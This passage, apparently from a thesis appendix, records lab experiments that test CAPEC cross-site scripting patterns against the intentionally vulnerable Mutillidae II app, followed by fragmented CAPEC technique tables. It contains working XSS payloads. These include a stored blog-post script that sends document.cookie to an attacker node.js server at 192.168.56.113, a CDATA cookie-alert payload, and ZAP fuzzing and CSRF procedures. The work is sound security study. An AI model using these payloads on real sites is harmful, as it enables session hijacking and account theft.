The technique proposed in the CAPEC attack pattern definitions is effective.
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35
Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the
probe strings contain a unique identifier.
CAPEC-199, Step 1, Experiment Phase
CAPEC-32, Step 1, Experiment Phase
macOS 11.0.1
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Set Firefox proxy to 127.0.0.1 TCP port 8080 (use FoxyProxy)
3. Start ZAP on Mac
4. Browse Mutillidae DNS Lookup page using Firefox
5. Find and highlight the GET command in the ZAP History tab
6. Click the Request and highlight the page parameter
7. Right click the highlighted parameter and select Fuzz...
8. Make sure the Fuzz location is chosen correctly
9. Click Payloads then Add
10. At the top of the dialog, choose File Fuzzers from the dropdown
11. Select jbrofuzz, expand XSS, and choose some related probe lists. Click Add, then
OK, then Start Fuzzer.
12. Inspect the results
Using OWASP Zap Fuzzer, fuzzed the mutillidae/index.php page which takes
parameters that link to other pages on the site. Using some of the jbrofuzz probe lists,
the site was shown to be vulnerable.
The technique proposed in the CAPEC attack pattern definitions is effective.
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36
Manually inject various script payloads into each identified entry point using a list of
common script injection probes and observe system behavior to determine if script was
executed.
CAPEC-86, Step 1, Experiment Phase
macOS 11.0.1 Host
0
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae DNS Lookup page and enter XSS probe strings:
HTML: <b>Hey!</b>
CSS: <div class="w3-container w3-cursive"><p>Hey!</p>
3. Confirm that the HTML and CSS are interpreted by inspecting the text.
4. Browse Mutillidae XML validator page and enter XSS probe string
XML:
<xss>DOMDocument>textContent=<![CDATA[<]]>script<![CDATA[>]]>alert(docu
ment.cookie)<![CDATA[<]]>/script<![CDATA[>]]>
</xss>
5. Confirm that the JavaScript alert is executed and the session cookie is displayed.
The HTML and CSS experiments are straitforward. The HTML example shows that
HTML tags are interpreted by the DNS Lookup dialog by bolding the text entered. The
CSS experiment shows that the style is interpreted provided the attacking host can
reach the w3-container.
The XML example is more interesting. The probe string entered is XML bounded by
the xss tags. It instantiates a php DOMDocument and sets the textContent property to
the string specified. The < and > characters are special characters in XML. CDATA
stands for Character Data and indicates that the strings should not be interpreted as
XML markup.
These three examples demonstrate the desired functionality.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Use an automated injection attack tool to inject various script payloads into each
identified entry point using a list of common script injection probes and observe
system behavior to determine if script was executed.
CAPEC-86, Step 1, Experiment Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Persistent (Second Order)/Add to your blog
6. Type some text into the Add blog field and click Save Blog Entry
7. In ZAP, on the History tab, find the POST request sent to Mutillidae and highlight
8. In the Request frame find and highlight the text entered into the HOST/IP field
9. Right Click and select Fuzz
10. Click Payloads
11. Click Add
10. At the top of the dialog, choose File Fuzzers from the dropdown
11. Select jbrofuzz, expand XSS, and choose some related probe lists. Click Add, then
OK, then Start Fuzzer.
12. Inspect the results
Using OWASP Zap Fuzzer to attack the Mutillidae Reflected XSS "DNS Lookup"
page. Entered text into the DNS Lookup dialog that was captured in ZAP. Used ZAP
Request Editor to insert a unique identifier and resent the request. Confirmed the
presence of the identifier in the HTML included in the reply.
The technique proposed in the CAPEC attack pattern definitions is effective.
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38
Develop malicious JavaScript that is injected through vectors identified during the
Experiment Phase and loaded by the victim's browser and sends document
information to the attacker.
CAPEC-63, Step 1, Exploit Phase
CAPEC-18, Step 1, Exploit Phase
CAPEC-86, Step 1, Exploit Phase
CAPEC-199, Step 1, Exploit Phase
CAPEC-244, Step 1, Exploit Phase
CAPEC-32, Step 1, Exploit Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
VirtualBox Ubuntu 20.04 Guest
node.js
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start the node.js server on Ubuntu
1. Start Mutillidae II
2. Start Firefox on Mac, on the Mutillidae menu on left of screen OWASP 2017/A7 Cross Site Scripting (XSS)/Persistent (Second Order)/Add to your blog.
3. In the Add blog dialog, enter the following code:
<html>
<p>
This is my blog post!
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.56.113", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(document.cookie);
</script>
</p>
</html>
4. Click Save Blog Entry
5. Start other hosts, and browse the Mutillidae Add to your blog page.
6. Confirm that the session cookies for each host is being written to the node.js server
by listing cookies.txt
Set up node.js server on Ubuntu guest that received POSTs and logged the data. The
server had to accept CORS requests, which are disabled by default. Demonstrated that
the Mutillidae Add to Your Blog page could be infected with malicious Javascript that
would send session cookies to the node.js server.
The technique proposed in the CAPEC attack pattern definitions is effective.
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39
Develop malicious JavaScript that injected through vectors identified during the
Experiment Phase and takes commands from an attacker's server and then causes the
browser to execute appropriately.
CAPEC-63, Step 1, Exploit Phase
CAPEC-18, Step 1, Exploit Phase
CAPEC-86, Step 1, Exploit Phase
CAPEC-199, Step 1, Exploit Phase
CAPEC-244, Step 1, Exploit Phase
CAPEC-32, Step 1, Exploit Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
node.js
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae DNS Lookup page and enter XSS probe string: <script>
alert("XSS");</script>
3. Confirm that the JavaScript alert executes.
Using basic XSS attack vectors, added Javascript to the Mutillidae Add to Your Blog
page the following string: "<script> alert("XSS");</script>". This is a well-known
cross-site scripting probe string.
The technique proposed in the CAPEC attack pattern definitions is effective.
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40
Develop malicious JavaScript that is injected through vectors identified during the
Experiment Phase and loaded by the victim's browser and performs actions on the
same web site
CAPEC-63, Step 2, Exploit Phase
CAPEC-18, Step 2, Exploit Phase
CAPEC-86, Step 2, Exploit Phase
CAPEC-199, Step 2, Exploit Phase
CAPEC-244, Step 2, Exploit Phase
CAPEC-32, Step 2, Exploit Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
node.js
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae Add to your blog page
3. Enter the following code in the Add blog dialog:
<html>
<p>
Here is a great blog post!
<script>
var x = document.getElementById("id-blog-form-header-td");x.innerText="XSS
Success";
</script>
</p>
</html>
3. Confirm that the label for the Add blog header has been changed to "XSS Success".
Using basic XSS attack vectors, added Javascript to the Mutillidae Add to Your Blog
page. Demonstrated that HTML and JavaScript could be injected into the page via the
DOM, and that the page could be modified.
The technique proposed in the CAPEC attack pattern definitions is effective.
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41
Develop malicious JavaScript that injected through vectors identified during the
Experiment Phase and takes commands from an attacker's server and then causes the
browser to execute request to other web sites (especially the web applications that
have CSRF vulnerabilities).
CAPEC-63, Step 2, Exploit Phase
CAPEC-18, Step 2, Exploit Phase
CAPEC-86, Step 2, Exploit Phase
CAPEC-199, Step 2, Exploit Phase
CAPEC-244, Step 2, Exploit Phase
CAPEC-32, Step 2, Exploit Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox and ZAP on Mac. Set up proxy for ZAP.
2. In Firefox go the Mutillidae Add to your blog page.
3. Enter a blog post.
4. In the Sites tree in ZAP, find the POST request corresponding to your blog post.
5. Right click on the POST request and select "Generate Anti-CSRF Test FORM"
from the menu.
6. A form should be activated in a new tab in Firefox.
7. Log in as a different user in Mutillidae. Create a new account if necessary.
8. Submit the form created by ZAP. Edit as desired.
9. Confirm that the blog post was submitted in Mutillidae.
This experiment is very simple but adequately demonstrates cross-site request forgery.
The technique proposed in the CAPEC attack patterns is effective.
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42
Develop malicious JavaScript that is injected through vectors identified during the
Experiment Phase and loaded by the victim's browser and exposes attacker-modified
invalid information to the user on the current web page.
CAPEC-63, Step 3, Exploit Phase
CAPEC-18, Step 3, Exploit Phase
CAPEC-86, Step 3, Exploit Phase
CAPEC-199, Step 3, Exploit Phase
CAPEC-244, Step 3, Exploit Phase
CAPEC-32, Step 3, Exploit Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
node.js
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae Add to your blog page
3. Enter the following code in the Add blog dialog:
<html>
<p>
Here is a great blog post!
<script>
var x = document.getElementById("id-blog-form-header-td");x.innerText="XSS
Success";
</script>
</p>
</html>
3. Confirm that the label for the Add blog header has been changed to "XSS Success".
Using basic XSS attack vectors, added Javascript to the Mutillidae Add to Your Blog
page. Demonstrated that HTML and JavaScript could be injected into the page via the
DOM, and that the page could be modified.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Table D.2: CAPEC-63 and Descendants Technique IDs
CAPEC
ID

CAPEC
name

Step

1

CAPEC-63

Cross-Site
Scripting
(XSS)

2

3

Phase

Explore

Experiment

Exploit

Technique
Use a spidering tool to follow and record
all links and analyze the web pages to
find entry points. Make special note of
any links that include parameters in the
URL.
Use a proxy tool to record all links visited
during a manual traversal of the web
application.
Use a browser to manually explore the
website and analyze how it is constructed.
Many browsers' plugins are available to
facilitate the analysis or automate the
discovery.
Use a list of XSS probe strings to inject
script in parameters of known URLs. If
possible, the probe strings contain a
unique identifier.
Use a proxy tool to record results of
manual input of XSS probes in known
URLs.
Use a list of XSS probe strings to inject
script into UI entry fields. If possible, the
probe strings contain a unique identifier.
Use a list of XSS probe strings to inject
script into resources accessed by the
application. If possible, the probe strings
contain a unique identifier.
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
appropriately.
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Technique
ID

1

2

3

4

5

6

7

8

9

CAPEC
ID

CAPEC
name

Step

4

CAPEC-63
(continued)

CAPEC588
CAPEC591
CAPEC592
CAPEC209

CAPEC243

CAPEC245

CAPEC247

5

DOMBased
XSS
Reflected
XSS
Stored
XSS
XSS
Using
MIME
Type
Mismatch
XSS
Targeting
HTML
Attributes
XSS
Using
Doubled
Characters
XSS
Using
Invalid
Characters

Phase

Exploit

Exploit

Technique
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
request to other web sites (especially the
web applications that have CSRF
vulnerabilities).
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and exposes attackermodified invalid information to the user
on the current web page.

—
—
—
1
2
3
4
5

Explore
Experiment
Experiment
Exploit
Exploit

—

—

—
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Technique
ID

10

11

12

CAPEC
ID
CAPEC198

CAPEC
name
XSS
Targeting
Error
Pages

Step

Phase

Technique

—
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Technique
ID

CAPEC
ID

CAPEC
name

Step

1

CAPEC-18

Phase

Explore

XSS
Targeting
NonScript
Elements

2

Experiment

Technique
Use a spidering tool to follow and record
all non-static links that are likely to have
input parameters (through forms, URL,
fragments, etc.) actively used by the Web
application.
Use a proxy tool to record all links visited
during a manual traversal of the web
application.
Use a browser to manually explore the
website and analyze how it is constructed.
Many browsers' plugins are available to
facilitate the analysis or automate the
discovery.
Manually inject various script payloads
into each identified entry point using a list
of common script injection probes that
typically work in a client-side non-script
elements context and observe system
behavior to determine if script was
executed. Since these probes may have to
be injected in many different types of
non-script elements, they should cover a
variety of possible contexts (CSS, HTML
tag, XML, etc.).
Use an automated injection attack tool to
inject various script payloads into each
identified entry point using a list of
common script injection probes that
typically work in a client-side non-script
elements context and observe system
behavior to determine if script was
executed. Since these probes may have to
be injected in many different types of
non-script elements, they should cover a
variety of possible contexts (CSS, HTML
tag, XML, etc.).
Use a proxy tool to record results of the
created requests.
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Technique
ID

13

2

3

14

15

16

CAPEC
ID

CAPEC
name

Step

3

Phase

Exploit

CAPEC-18
(continued)
4

5

Exploit

Exploit

Technique
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
appropriately.
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
request to other web sites (especially the
web applications that have CSRF
vulnerabilities).
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and exposes attackermodified invalid information to the user
on the current web page.
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Technique
ID

8

9

10

11

12

CAPEC
ID

CAPEC
name

Step

1

XSS
Using
CAPEC-199
Alternate
Syntax

2

3

Phase

Explore

Experiment

Exploit

Technique
Use a spidering tool to follow and record
all links. Make special note of any links
that include parameters in the URL.
Use a proxy tool to record all links visited
during a manual traversal of the web
application. Make special note of any
links that include parameters in the URL.
Manual traversal of this type is frequently
necessary to identify forms that are GET
method forms rather than POST forms.
Use a browser to manually explore the
website and analyze how it is constructed.
Many browser's plugins are available to
facilitate the analysis or automate the
URL discovery.
Use a list of XSS probe strings to inject in
parameters of known URLs. If possible,
the probe strings contain a unique
identifier. Attempt numerous variations
based on form, format, syntax &
encoding.
Use a proxy tool to record results of
manual input of XSS probes in known
URLs.
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
appropriately.
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Technique
ID
17

18

19

20

5

8

9

CAPEC
ID

CAPEC
name

Step

4

Phase

Exploit

CAPEC-199
(continued)

5

Exploit

Technique
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
request to other web sites (especially the
web applications that have CSRF
vulnerabilities).
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and exposes attackermodified invalid information to the user
on the current web page.
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Technique
ID

10

11

12

CAPEC
ID

CAPEC
name

Step

1

XSS
Targeting
CAPEC-244
URI
Placeholders

2

3

Phase

Explore

Experiment

Exploit

Technique
Use a spidering tool to follow and record
all links. Make special note of any links
that include parameters in the URL.
Use a proxy tool to record all links visited
during a manual traversal of the web
application. Make special note of any
links that include parameters in the URL.
Manual traversal of this type is frequently
necessary to identify forms that are GET
method forms rather than POST forms.
Use a browser to manually explore the
website and analyze how it is constructed.
Many browser's plugins are available to
facilitate the analysis or automate the
URL discovery.
Use a list of XSS probe strings using
different URI schemes to inject in
parameters of known URLs. If possible,
the probe strings contain a unique
identifier to trace the injected string back
to the entry point.
Use a proxy tool to record results of
manual input of XSS probes in known
URLs.
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
appropriately.
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Technique
ID
17

18

19

21

5

8

9

CAPEC
ID

CAPEC
name

Step

4

Phase

Exploit

CAPEC-244
(continued)

5

Exploit

Technique
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
request to other web sites (especially the
web applications that have CSRF
vulnerabilities).
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and exposes attackermodified invalid information to the user
on the current web page.

255

Technique
ID

10

11

12

CAPEC
ID

CAPEC
name

Step

1

CAPEC-32

Phase

Explore

XSS
Through
HTTP
Query
Strings

2

Experiment

Technique
Use a spidering tool to follow and record
all links. Make special note of any links
that include parameters in the URL.
Use a proxy tool to record all links visited
during a manual traversal of the web
application. Make special note of any
links that include parameters in the URL.
Manual traversal of this type is frequently
necessary to identify forms that are GET
method forms rather than POST forms.
Use a browser to manually explore the
website and analyze how it is constructed.
Many browser's plugins are available to
facilitate the analysis or automate the
URL discovery.
Use a list of XSS probe strings to inject in
parameters of known URLs. If possible,
the probe strings contain a unique
identifier.
Use a proxy tool to record results of
manual input of XSS probes in known
URLs.
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Technique
ID
17

18

19

22

5

CAPEC ID

CAPEC
name

Step

3

Phase

Technique
Develop malicious JavaScript that
is injected through vectors
identified during the Experiment
Phase and loaded by the victim's
browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors
identified during the Experiment
Phase and takes commands from
an attacker's server and then
causes the browser to execute
appropriately.
Develop malicious JavaScript that
is injected through vectors
identified during the Experiment
Phase and loaded by the victim's
browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors
identified during the Experiment
Phase and takes commands from
an attacker's server and then
causes the browser to execute
request to other web sites
(especially the web applications
that have CSRF vulnerabilities).
Develop malicious JavaScript that
is injected through vectors
identified during the Experiment
Phase and loaded by the victim's
browser and exposes attackermodified invalid information to
the user on the current web page.

Exploit

CAPEC-32
(continued)
4

5

Exploit

Exploit
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Techniqu
e ID

8

9

10

11

12

CAPEC ID

CAPEC
name

Step

1

CAPEC-86

Phase

Technique

Explore

XSS
Through
HTTP
Headers

2

Experiment

258

Use a spidering tool to follow and
record all links and analyze the
web pages to find entry points.
Make special note of any links
that include parameters used in
the HTTP headers.
Look for HTML meta tags that
could be injectable
Use a proxy tool to record all
links visited during a manual
traversal of the web application.
Use a browser to manually
explore the website and analyze
how it is constructed. Many
browsers' plugins are available to
facilitate the analysis or automate
the discovery.
Manually inject various script
payloads into each identified
entry point using a list of
common script injection probes
and observe system behavior to
determine if script was executed.
Use an automated injection attack
tool to inject various script
payloads into each identified
entry point using a list of
common script injection probes
and observe system behavior to
determine if script was executed.
Use a proxy tool to record results
of manual input of XSS probes in
known URLs.

Techniqu
e ID

23

24
2

3

25

26

5

CAPEC ID

CAPEC
name

Step

3

Phase

Exploit

CAPEC-86
(continued)
4

5

Exploit

Exploit

Technique
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and sends document
information to the attacker.
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
appropriately.
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and performs actions on
the same web site
Develop malicious JavaScript that
injected through vectors identified during
the Experiment Phase and takes
commands from an attacker's server and
then causes the browser to execute
request to other web sites (especially the
web applications that have CSRF
vulnerabilities).
Develop malicious JavaScript that is
injected through vectors identified during
the Experiment Phase and loaded by the
victim's browser and exposes attackermodified invalid information to the user
on the current web page.
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Technique
ID

8

9

10

11

12
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